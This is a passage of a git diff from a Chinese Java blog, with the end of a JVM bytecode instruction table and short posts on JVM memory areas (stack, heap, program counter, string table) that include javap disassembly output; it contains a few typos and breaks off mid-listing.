将栈顶int类型值保存到局部变量1中。

+

istore_2

 +

 

 +

将栈顶int类型值保存到局部变量2中。

+

istore_3

 +

 

 +

将栈顶int类型值保存到局部变量3中。

+

(wide)lstore

 +

indexbyte

 +

将栈顶long类型值保存到局部变量indexbyte中。

+

lstore_0

 +

 

 +

将栈顶long类型值保存到局部变量0中。

+

lstore_1

 +

 

 +

将栈顶long类型值保存到局部变量1中。

+

lstore_2

 +

 

 +

将栈顶long类型值保存到局部变量2中。

+

lstroe_3

 +

 

 +

将栈顶long类型值保存到局部变量3中。

+

(wide)fstore

 +

indexbyte

 +

将栈顶float类型值保存到局部变量indexbyte中。

+

fstore_0

 +

 

 +

将栈顶float类型值保存到局部变量0中。

+

fstore_1

 +

 

 +

将栈顶float类型值保存到局部变量1中。

+

fstore_2

 +

 

 +

将栈顶float类型值保存到局部变量2中。

+

fstore_3

 +

 

 +

将栈顶float类型值保存到局部变量3中。

+

(wide)dstore

 +

indexbyte

 +

将栈顶double类型值保存到局部变量indexbyte中。

+

dstore_0

 +

 

 +

将栈顶double类型值保存到局部变量0中。

+

dstore_1

 +

 

 +

将栈顶double类型值保存到局部变量1中。

+

dstore_2

 +

 

 +

将栈顶double类型值保存到局部变量2中。

+

dstore_3

 +

 

 +

将栈顶double类型值保存到局部变量3中。

+

aastore

 +

 

 +

将栈顶引用类型值保存到指定引用类型数组的指定项。

+

iastore

 +

 

 +

将栈顶int类型值保存到指定int类型数组的指定项。

+

lastore

 +

 

 +

将栈顶long类型值保存到指定long类型数组的指定项。

+

fastore

 +

 

 +

将栈顶float类型值保存到指定float类型数组的指定项。

+

dastore

 +

 

 +

将栈顶double类型值保存到指定double类型数组的指定项。

+

bastroe

 +

 

 +

将栈顶boolean类型值或byte类型值保存到指定boolean类型数组或byte类型数组的指定项。

+

castore

 +

 

 +

将栈顶char类型值保存到指定char类型数组的指定项。

+

sastore

 +

 

 +

将栈顶short类型值保存到指定short类型数组的指定项。

+

 

+

wide指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

wide

 +

 

 +

使用附加字节扩展局部变量索引（iinc指令特殊）。

+

 

+

通用（无类型）栈操作指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

nop

 +

 

 +

空操作。

+

pop

 +

 

 +

从栈顶弹出一个字长的数据。

+

pop2

 +

 

 +

从栈顶弹出两个字长的数据。

+

dup

 +

 

 +

复制栈顶一个字长的数据，将复制后的数据压栈。

+

dup_x1

 +

 

 +

复制栈顶一个字长的数据，弹出栈顶两个字长数据，先将复制后的数据压栈，再将弹出的两个字长数据压栈。

+

dup_x2

 +

 

 +

复制栈顶一个字长的数据，弹出栈顶三个字长的数据，将复制后的数据压栈，再将弹出的三个字长的数据压栈。

+

dup2

 +

 

 +

复制栈顶两个字长的数据，将复制后的两个字长的数据压栈。

+

dup2_x1

 +

 

 +

复制栈顶两个字长的数据，弹出栈顶三个字长的数据，将复制后的两个字长的数据压栈，再将弹出的三个字长的数据压栈。

+

dup2_x2

 +

 

 +

复制栈顶两个字长的数据，弹出栈顶四个字长的数据，将复制后的两个字长的数据压栈，再将弹出的四个字长的数据压栈。

+

swap

 +

 

 +

交换栈顶两个字长的数据的位置。Java指令中没有提供以两个字长为单位的交换指令。

+

 

+

类型转换指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

i2f

 +

 

 +

将栈顶int类型值转换为float类型值。

+

i2l

 +

 

 +

将栈顶int类型值转换为long类型值。

+

i2d

 +

 

 +

将栈顶int类型值转换为double类型值。

+

f2i

 +

 

 +

将栈顶float类型值转换为int类型值。

+

f2l

 +

 

 +

将栈顶float类型值转换为long类型值。

+

f2d

 +

 

 +

将栈顶float类型值转换为double类型值。

+

l2i

 +

 

 +

将栈顶long类型值转换为int类型值。

+

l2f

 +

 

 +

将栈顶long类型值转换为float类型值。

+

l2d

 +

 

 +

将栈顶long类型值转换double类型值。

+

d2i

 +

 

 +

将栈顶double类型值转换为int类型值。

+

d2f

 +

 

 +

将栈顶double类型值转换为float类型值。

+

d2l

 +

 

 +

将栈顶double类型值转换为long类型值。

+

i2b

 +

 

 +

将栈顶int类型值截断成byte类型，后带符号扩展成int类型值入栈。

+

i2c

 +

 

 +

将栈顶int类型值截断成char类型值，后带符号扩展成int类型值入栈。

+

i2s

 +

 

 +

将栈顶int类型值截断成short类型值，后带符号扩展成int类型值入栈。

+

 

+

整数运算

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

iadd

 +

 

 +

将栈顶两int类型数相加，结果入栈。

+

isub

 +

 

 +

将栈顶两int类型数相减，结果入栈。

+

imul

 +

 

 +

将栈顶两int类型数相乘，结果入栈。

+

idiv

 +

 

 +

将栈顶两int类型数相除，结果入栈。

+

irem

 +

 

 +

将栈顶两int类型数取模，结果入栈。

+

ineg

 +

 

 +

将栈顶int类型值取负，结果入栈。

+

ladd

 +

 

 +

将栈顶两long类型数相加，结果入栈。

+

lsub

 +

 

 +

将栈顶两long类型数相减，结果入栈。

+

lmul

 +

 

 +

将栈顶两long类型数相乘，结果入栈。

+

ldiv

 +

 

 +

将栈顶两long类型数相除，结果入栈。

+

lrem

 +

 

 +

将栈顶两long类型数取模，结果入栈。

+

lneg

 +

 

 +

将栈顶long类型值取负，结果入栈。

+

(wide)iinc

 +

indexbyte

+

constbyte

 +

将整数值constbyte加到indexbyte指定的int类型的局部变量中。

+

 

+

浮点运算

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

fadd

 +

 

 +

将栈顶两float类型数相加，结果入栈。

+

fsub

 +

 

 +

将栈顶两float类型数相减，结果入栈。

+

fmul

 +

 

 +

将栈顶两float类型数相乘，结果入栈。

+

fdiv

 +

 

 +

将栈顶两float类型数相除，结果入栈。

+

frem

 +

 

 +

将栈顶两float类型数取模，结果入栈。

+

fneg

 +

 

 +

将栈顶float类型值取反，结果入栈。

+

dadd

 +

 

 +

将栈顶两double类型数相加，结果入栈。

+

dsub

 +

 

 +

将栈顶两double类型数相减，结果入栈。

+

dmul

 +

 

 +

将栈顶两double类型数相乘，结果入栈。

+

ddiv

 +

 

 +

将栈顶两double类型数相除，结果入栈。

+

drem

 +

 

 +

将栈顶两double类型数取模，结果入栈。

+

dneg

 +

 

 +

将栈顶double类型值取负，结果入栈。

+

 

+

逻辑运算——移位运算

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

ishl

 +

 

 +

左移int类型值。

+

lshl

 +

 

 +

左移long类型值。

+

ishr

 +

 

 +

算术右移int类型值。

+

lshr

 +

 

 +

算术右移long类型值。

+

iushr

 +

 

 +

逻辑右移int类型值。

+

lushr

 +

 

 +

逻辑右移long类型值。

+

 

+

逻辑运算——按位布尔运算

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

iand

 +

 

 +

对int类型按位与运算。

+

land

 +

 

 +

对long类型的按位与运算。

+

ior

 +

 

 +

对int类型的按位或运算。

+

lor

 +

 

 +

对long类型的按位或运算。

+

ixor

 +

 

 +

对int类型的按位异或运算。

+

lxor

 +

 

 +

对long类型的按位异或运算。

+

 

+

控制流指令——条件跳转指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

ifeq

 +

branchbyte1

+

branchbyte2

 +

若栈顶int类型值为0则跳转。

+

ifne

 +

branchbyte1

+

branchbyte2

 +

若栈顶int类型值不为0则跳转。

+

iflt

 +

branchbyte1

+

branchbyte2

 +

若栈顶int类型值小于0则跳转。

+

ifle

 +

branchbyte1

+

branchbyte2

 +

若栈顶int类型值小于等于0则跳转。

+

ifgt

 +

branchbyte1

+

branchbyte2

 +

若栈顶int类型值大于0则跳转。

+

ifge

 +

branchbyte1

+

branchbyte2

 +

若栈顶int类型值大于等于0则跳转。

+

if_icmpeq

 +

branchbyte1

+

branchbyte2

 +

若栈顶两int类型值相等则跳转。

+

if_icmpne

 +

branchbyte1

+

branchbyte2

 +

若栈顶两int类型值不相等则跳转。

+

if_icmplt

 +

branchbyte1

+

branchbyte2

 +

若栈顶两int类型值前小于后则跳转。

+

if_icmple

 +

branchbyte1

+

branchbyte2

 +

若栈顶两int类型值前小于等于后则跳转。

+

if_icmpgt

 +

branchbyte1

+

branchbyte2

 +

若栈顶两int类型值前大于后则跳转。

+

if_icmpge

 +

branchbyte1

+

branchbyte2

 +

若栈顶两int类型值前大于等于后则跳转。

+

ifnull

 +

branchbyte1

+

branchbyte2

 +

若栈顶引用值为null则跳转。

+

ifnonnull

 +

branchbyte1

+

branchbyte2

 +

若栈顶引用值不为null则跳转。

+

if_acmpeq

 +

branchbyte1

+

branchbyte2

 +

若栈顶两引用类型值相等则跳转。

+

if_acmpne

 +

branchbyte1

+

branchbyte2

 +

若栈顶两引用类型值不相等则跳转。

+

 

+

控制流指令——比较指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

lcmp

 +

 

 +

比较栈顶两long类型值，前者大，1入栈；相等，0入栈；后者大，-1入栈。

+

fcmpl

 +

 

 +

比较栈顶两float类型值，前者大，1入栈；相等，0入栈；后者大，-1入栈；有NaN存在，-1入栈。

+

fcmpg

 +

 

 +

比较栈顶两float类型值，前者大，1入栈；相等，0入栈；后者大，-1入栈；有NaN存在，-1入栈。

+

dcmpl

 +

 

 +

比较栈顶两double类型值，前者大，1入栈；相等，0入栈；后者大，-1入栈；有NaN存在，-1入栈。

+

dcmpg

 +

 

 +

比较栈顶两double类型值，前者大，1入栈；相等，0入栈；后者大，-1入栈；有NaN存在，-1入栈。

+

 

+

控制流指令——无条件跳转指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

goto

 +

branchbyte1

+

branchbyte2

 +

无条件跳转到指定位置。

+

goto_w

 +

branchbyte1

+

branchbyte2

+

branchbyte3

+

branchbyte4

 +

无条件跳转到指定位置（宽索引）。

+

 

+

控制流指令——表跳转指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

tableswitch

 +

<0-3bytepad>

+

defaultbyte1

+

defaultbyte2

+

defaultbyte3

+

defaultbyte4

+

lowbyte1

+

lowbyte2

+

lowbyte3

+

lowbyte4

+

highbyte1

+

highbyte2

+

highbyte3

+

highbyte4

+

jump offsets...

 +

通过索引访问跳转表，并跳转。

+

lookupswitch

 +

<0-3bytepad>

+

defaultbyte1

+

defaultbyte2

+

defaultbyte3

+

defaultbyte4

+

npairs1

+

npairs2

+

npairs3

+

npairs4

+

match offsets

 +

通过键值访问跳转表，并跳转。

+

 

+

控制流指令——异常和finally

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

athrow

 +

 

 +

抛出异常。

+

jsr

 +

branchbyte1

+

branchbyte2

 +

跳转到子例程序。

+

jsr_w

 +

branchbyte1

+

branchbyte2

+

branchbyte3

+

branchbyte4

 +

跳转到子例程序（宽索引）。

+

(wide)ret

 +

indexbyte

 +

返回子例程序。

+

 

+

对象操作指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

new

 +

indexbyte1

+

indexbyte2

 +

创建新的对象实例。

+

checkcast

 +

indexbyte1

+

indexbyte

 +

类型强转。

+

instanceof

 +

indexbyte1

+

indexbyte2

 +

判断类型。

+

getfield

 +

indexbyte1

+

indexbyte2

 +

获取对象字段的值。

+

putfield

 +

indexbyte1

+

indexbyte2

 +

给对象字段赋值。

+

getstatic

 +

indexbyte1

+

indexbyte2

 +

获取静态字段的值。

+

putstatic

 +

indexbyte1

+

indexbyte2

 +

给静态字段赋值。

+

 

+

数组操作指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

newarray

 +

atype

 +

创建type类型的数组。

+

anewarray

 +

indexbyte1

+

indexbyte2

 +

创建引用类型的数组。

+

arraylength

 +

 

 +

获取一维数组的长度。

+

multianewarray

 +

indexbyte1

+

indexbyte2

+

dimension

 +

创建dimension维度的数组。

+

 

+

方法调用指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

invokespecial

 +

indexbyte1

+

indexbyte2

 +

编译时方法绑定调用方法。

+

invokevirtual

 +

indexbyte1

+

indexbyte2

 +

运行时方法绑定调用方法。

+

invokestatic

 +

indexbyte1

+

indexbyte2

 +

调用静态方法。

+

invokeinterface

 +

indexbyte1

+

indexbyte2

+

count

+

0

 +

调用接口方法。

+

 

+

方法返回指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

ireturn

 +

 

 +

返回int类型值。

+

lreturn

 +

 

 +

返回long类型值。

+

freturn

 +

 

 +

返回float类型值。

+

dreturn

 +

 

 +

返回double类型值。

+

areturn

 +

 

 +

返回引用类型值。

+

return

 +

 

 +

void函数返回。

+

 

+

线程同步指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

monitorenter

 +

 

 +

进入并获得对象监视器。

+

monitorexit

 +

 

 +

释放并退出对象监视器。

+ + +# 参考 + ++ [Java二进制指令代码解析](http://www.blogjava.net/DLevin/archive/2011/09/13/358497.html) \ No newline at end of file diff --git a/_posts/2022-03-25-569-stack.md b/_posts/2022-03-25-569-stack.md new file mode 100644 index 0000000..69615b3 --- /dev/null +++ b/_posts/2022-03-25-569-stack.md @@ -0,0 +1,128 @@ +--- +layout: post +title: JVM Stack(方法栈) +pid: 569 +tags: [java] + +--- + + +```java +public class Test { + public static void main(String[] args) { + methodA(); + } + + public static void methodA() { + methodB(); + } + + public static void methodB() { + methodC(); + } + + public static void methodC() { + // + } +} +``` + + + +栈特点：先进后出 + +启动：main -> methodA -> methodB -> methodC + +退出：methodC -> methodB -> methodA -> main + + + +```java +Classfile /Users/baoguo/codes/demo3/Test.class + Last modified Mar 25, 2022; size 451 bytes + MD5 checksum 82ebbb2b39b5fe233c861af30de4a984 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #6.#18 // java/lang/Object."":()V + #2 = Methodref #5.#19 // Test.methodA:()V + #3 = Methodref #5.#20 // Test.methodB:()V + #4 = Methodref #5.#21 // Test.methodC:()V + #5 = Class #22 // Test + #6 = Class #23 // java/lang/Object + #7 = Utf8 + #8 = Utf8 ()V + #9 = Utf8 Code + #10 = Utf8 LineNumberTable + #11 = Utf8 main + #12 = Utf8 ([Ljava/lang/String;)V + #13 = Utf8 methodA + #14 = Utf8 methodB + #15 = Utf8 methodC + #16 = Utf8 SourceFile + #17 = Utf8 Test.java + #18 = NameAndType #7:#8 // "":()V + #19 = NameAndType #13:#8 // methodA:()V + #20 = NameAndType #14:#8 // methodB:()V + #21 = NameAndType #15:#8 // methodC:()V + #22 = Utf8 Test + #23 = Utf8 java/lang/Object +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=0, locals=1, args_size=1 + 0: invokestatic #2 // Method methodA:()V + 3: return + LineNumberTable: + line 3: 0 + line 4: 3 + + public static void methodA(); + descriptor: ()V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=0, locals=0, args_size=0 + 0: invokestatic #3 // Method methodB:()V + 3: return + LineNumberTable: + line 7: 0 + line 8: 3 + + public static void methodB(); + descriptor: ()V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=0, locals=0, args_size=0 + 0: invokestatic #4 // Method methodC:()V + 3: return + LineNumberTable: + line 11: 0 + line 12: 3 + + public static void methodC(); + descriptor: ()V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=0, locals=0, args_size=0 + 0: return + LineNumberTable: + line 16: 0 +} +SourceFile: "Test.java" +``` \ No newline at end of file diff --git a/_posts/2022-03-25-570-heap.md b/_posts/2022-03-25-570-heap.md new file mode 100644 index 0000000..9ccb29c --- /dev/null +++ b/_posts/2022-03-25-570-heap.md @@ -0,0 +1,15 @@ +--- +layout: post +title: JVM Heap(堆内存) +pid: 570 +tags: [java] + +--- + + + +用于存放对象，数组 + + + +垃圾回收 diff --git a/_posts/2022-03-25-571-pcg.md b/_posts/2022-03-25-571-pcg.md new file mode 100644 index 0000000..62862d4 --- /dev/null +++ b/_posts/2022-03-25-571-pcg.md @@ -0,0 +1,53 @@ +--- +layout: post +title: JVM Program Counter Register(程序计数器) +pid: 571 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + System.out.println(1); + System.out.println(2); + System.out.println(3); + System.out.println(4); + } +} +``` + +```java +Compiled from "Test.java" +public class Test { + public Test(); + Code: + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + + public static void main(java.lang.String[]); + Code: + 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; + 3: iconst_1 + 4: invokevirtual #3 // Method java/io/PrintStream.println:(I)V + 7: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; + 10: iconst_2 + 11: invokevirtual #3 // Method java/io/PrintStream.println:(I)V + 14: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; + 17: iconst_3 + 18: invokevirtual #3 // Method java/io/PrintStream.println:(I)V + 21: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; + 24: iconst_4 + 25: invokevirtual #3 // Method java/io/PrintStream.println:(I)V + 28: return +} +``` + + + + + + +# 参考 ++ [01-JVM内存模型：程序计数器 ](https://www.cnblogs.com/manayi/p/9290490.html) \ No newline at end of file diff --git a/_posts/2022-03-25-572-nms.md b/_posts/2022-03-25-572-nms.md new file mode 100644 index 0000000..6393bd6 --- /dev/null +++ b/_posts/2022-03-25-572-nms.md @@ -0,0 +1,63 @@ +--- +layout: post +title: JVM Native Method Stacks(本地方法栈) +pid: 572 +tags: [java] + +--- + + + +```java +public class Test { + public static void main(String[] args) { + MyThread mt = new MyThread(); + Thread t = new Thread(mt, "baoguo"); + t.start(); + } +} + +class MyThread implements Runnable { + @Override + public void run() { + String name = Thread.currentThread().getName(); + System.out.println("Thread name:" + name); + } +} +``` + +```java + public synchronized void start() { + /** + * This method is not invoked for the main method thread or "system" + * group threads created/set up by the VM. Any new functionality added + * to this method in the future may have to also be added to the VM. + * + * A zero status value corresponds to state "NEW". + */ + if (threadStatus != 0) + throw new IllegalThreadStateException(); + + /* Notify the group that this thread is about to be started + * so that it can be added to the group's list of threads + * and the group's unstarted count can be decremented. */ + group.add(this); + + boolean started = false; + try { + start0(); + started = true; + } finally { + try { + if (!started) { + group.threadStartFailed(this); + } + } catch (Throwable ignore) { + /* do nothing. If start0 threw a Throwable then + it will be passed up the call stack */ + } + } + } + + private native void start0(); +``` \ No newline at end of file diff --git a/_posts/2022-03-25-573-ma.md b/_posts/2022-03-25-573-ma.md new file mode 100644 index 0000000..fbd162e --- /dev/null +++ b/_posts/2022-03-25-573-ma.md @@ -0,0 +1,8 @@ +--- +layout: post +title: JVM Method Area(方法区) +pid: 573 +tags: [java] + +--- + diff --git a/_posts/2022-03-25-574-cpt.md b/_posts/2022-03-25-574-cpt.md new file mode 100644 index 0000000..190a0ef --- /dev/null +++ b/_posts/2022-03-25-574-cpt.md @@ -0,0 +1,8 @@ +--- +layout: post +title: JVM Constant Pool Table(常量池) +pid: 574 +tags: [java] + +--- + diff --git a/_posts/2022-03-26-575-st.md b/_posts/2022-03-26-575-st.md new file mode 100644 index 0000000..cb3d133 --- /dev/null +++ b/_posts/2022-03-26-575-st.md @@ -0,0 +1,196 @@ +--- +layout: post +title: JVM String Table(串池) +pid: 575 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + String s1 = "a"; + String s2 = "b"; + String s3 = "ab"; + String s4 = "ab"; + String s1 = "ab"; + } +} +~ +``` + + +```java +Classfile /Users/baoguo/codes/demo3/Test.class + Last modified Mar 26, 2022; size 312 bytes + MD5 checksum e8470d9add11ace0d11770668a8ef1c2 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #6.#15 // java/lang/Object."":()V + #2 = String #16 // a + #3 = String #17 // b + #4 = String #18 // ab + #5 = Class #19 // Test + #6 = Class #20 // java/lang/Object + #7 = Utf8 + #8 = Utf8 ()V + #9 = Utf8 Code + #10 = Utf8 LineNumberTable + #11 = Utf8 main + #12 = Utf8 ([Ljava/lang/String;)V + #13 = Utf8 SourceFile + #14 = Utf8 Test.java + #15 = NameAndType #7:#8 // "":()V + #16 = Utf8 a + #17 = Utf8 b + #18 = Utf8 ab + #19 = Utf8 Test + #20 = Utf8 java/lang/Object +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=1, locals=6, args_size=1 + 0: ldc #2 // String a + 2: astore_1 + 3: ldc #3 // String b + 5: astore_2 + 6: ldc #4 // String ab + 8: astore_3 + 9: ldc #4 // String ab + 11: astore 4 + 13: ldc #4 // String ab + 15: astore 5 + 17: return + LineNumberTable: + line 3: 0 + line 4: 3 + line 5: 6 + line 6: 9 + line 7: 13 + line 8: 17 +} +SourceFile: "Test.java" + +``` + +```java +public class Test { + public static void main(String[] args) { + String s1 = "a"; + String s2 = "b"; + String s3 = "ab"; + String s4 = s1 + s2; + } +} +``` + +```java +Classfile /Users/baoguo/codes/demo3/Test.class + Last modified Mar 26, 2022; size 465 bytes + MD5 checksum 56db323892928fe4228a815d80cc9acc + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #10.#19 // java/lang/Object."":()V + #2 = String #20 // a + #3 = String #21 // b + #4 = String #22 // ab + #5 = Class #23 // java/lang/StringBuilder + #6 = Methodref #5.#19 // java/lang/StringBuilder."":()V + #7 = Methodref #5.#24 // java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; + #8 = Methodref #5.#25 // java/lang/StringBuilder.toString:()Ljava/lang/String; + #9 = Class #26 // Test + #10 = Class #27 // java/lang/Object + #11 = Utf8 + #12 = Utf8 ()V + #13 = Utf8 Code + #14 = Utf8 LineNumberTable + #15 = Utf8 main + #16 = Utf8 ([Ljava/lang/String;)V + #17 = Utf8 SourceFile + #18 = Utf8 Test.java + #19 = NameAndType #11:#12 // "":()V + #20 = Utf8 a + #21 = Utf8 b + #22 = Utf8 ab + #23 = Utf8 java/lang/StringBuilder + #24 = NameAndType #28:#29 // append:(Ljava/lang/String;)Ljava/lang/StringBuilder; + #25 = NameAndType #30:#31 // toString:()Ljava/lang/String; + #26 = Utf8 Test + #27 = Utf8 java/lang/Object + #28 = Utf8 append + #29 = Utf8 (Ljava/lang/String;)Ljava/lang/StringBuilder; + #30 = Utf8 toString + #31 = Utf8 ()Ljava/lang/String; +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=2, locals=5, args_size=1 + 0: ldc #2 // String a + 2: astore_1 + 3: ldc #3 // String b + 5: astore_2 + 6: ldc #4 // String ab + 8: astore_3 + 9: new #5 // class java/lang/StringBuilder + 12: dup + 13: invokespecial #6 // Method java/lang/StringBuilder."":()V + 16: aload_1 + 17: invokevirtual #7 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; + 20: aload_2 + 21: invokevirtual #7 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; + 24: invokevirtual #8 // Method java/lang/StringBuilder.toString:()Ljava/lang/String; + 27: astore 4 + 29: return + LineNumberTable: + line 3: 0 + line 4: 3 + line 5: 6 + line 6: 9 + line 7: 29 +} +SourceFile: "Test.java" +``` + + + + + + + + + + diff --git a/_posts/2022-03-26-576-iadd.md b/_posts/2022-03-26-576-iadd.md new file mode 100644 index 0000000..e793d48 --- /dev/null +++ b/_posts/2022-03-26-576-iadd.md @@ -0,0 +1,134 @@ +--- +layout: post +title: JVM Add(加法指令) +pid: 576 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + int a = 10; + int b = Short.MAX_VALUE + 1; + int c = a + b; + System.out.println(c); + } +} + + +``` + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 26, 2022; size 604 bytes + MD5 checksum 3a23d30575926796b51e5c61a8e2f299 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #7.#26 // java/lang/Object."":()V + #2 = Class #27 // java/lang/Short + #3 = Integer 32768 + #4 = Fieldref #28.#29 // java/lang/System.out:Ljava/io/PrintStream; + #5 = Methodref #30.#31 // java/io/PrintStream.println:(I)V + #6 = Class #32 // Test + #7 = Class #33 // java/lang/Object + #8 = Utf8 + #9 = Utf8 ()V + #10 = Utf8 Code + #11 = Utf8 LineNumberTable + #12 = Utf8 LocalVariableTable + #13 = Utf8 this + #14 = Utf8 LTest; + #15 = Utf8 main + #16 = Utf8 ([Ljava/lang/String;)V + #17 = Utf8 args + #18 = Utf8 [Ljava/lang/String; + #19 = Utf8 a + #20 = Utf8 I + #21 = Utf8 b + #22 = Utf8 c + #23 = Utf8 MethodParameters + #24 = Utf8 SourceFile + #25 = Utf8 Test.java + #26 = NameAndType #8:#9 // "":()V + #27 = Utf8 java/lang/Short + #28 = Class #34 // java/lang/System + #29 = NameAndType #35:#36 // out:Ljava/io/PrintStream; + #30 = Class #37 // java/io/PrintStream + #31 = NameAndType #38:#39 // println:(I)V + #32 = Utf8 Test + #33 = Utf8 java/lang/Object + #34 = Utf8 java/lang/System + #35 = Utf8 out + #36 = Utf8 Ljava/io/PrintStream; + #37 = Utf8 java/io/PrintStream + #38 = Utf8 println + #39 = Utf8 (I)V +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=2, locals=4, args_size=1 + 0: bipush 10 + 2: istore_1 + 3: ldc #3 // int 32768 + 5: istore_2 + 6: iload_1 + 7: iload_2 + 8: iadd + 9: istore_3 + 10: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream; + 13: iload_3 + 14: invokevirtual #5 // Method java/io/PrintStream.println:(I)V + 17: return + LineNumberTable: + line 3: 0 + line 4: 3 + line 5: 6 + line 6: 10 + line 7: 17 + LocalVariableTable: + Start Length Slot Name Signature + 0 18 0 args [Ljava/lang/String; + 3 15 1 a I + 6 12 2 b I + 10 8 3 c I + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-26-577-iinc.md b/_posts/2022-03-26-577-iinc.md new file mode 100644 index 0000000..84ddb2f --- /dev/null +++ b/_posts/2022-03-26-577-iinc.md @@ -0,0 +1,135 @@ +--- +layout: post +title: JVM iinc(自增) +pid: 577 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + int m = 10; + int n = m++ + ++m + m--; + System.out.println(m); + System.out.println(n); + } +} + + +``` + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 26, 2022; size 579 bytes + MD5 checksum 3c04b521e2739eb126ba6a5ac584a73a + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #5.#23 // java/lang/Object."":()V + #2 = Fieldref #24.#25 // java/lang/System.out:Ljava/io/PrintStream; + #3 = Methodref #26.#27 // java/io/PrintStream.println:(I)V + #4 = Class #28 // Test + #5 = Class #29 // java/lang/Object + #6 = Utf8 + #7 = Utf8 ()V + #8 = Utf8 Code + #9 = Utf8 LineNumberTable + #10 = Utf8 LocalVariableTable + #11 = Utf8 this + #12 = Utf8 LTest; + #13 = Utf8 main + #14 = Utf8 ([Ljava/lang/String;)V + #15 = Utf8 args + #16 = Utf8 [Ljava/lang/String; + #17 = Utf8 m + #18 = Utf8 I + #19 = Utf8 n + #20 = Utf8 MethodParameters + #21 = Utf8 SourceFile + #22 = Utf8 Test.java + #23 = NameAndType #6:#7 // "":()V + #24 = Class #30 // java/lang/System + #25 = NameAndType #31:#32 // out:Ljava/io/PrintStream; + #26 = Class #33 // java/io/PrintStream + #27 = NameAndType #34:#35 // println:(I)V + #28 = Utf8 Test + #29 = Utf8 java/lang/Object + #30 = Utf8 java/lang/System + #31 = Utf8 out + #32 = Utf8 Ljava/io/PrintStream; + #33 = Utf8 java/io/PrintStream + #34 = Utf8 println + #35 = Utf8 (I)V +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 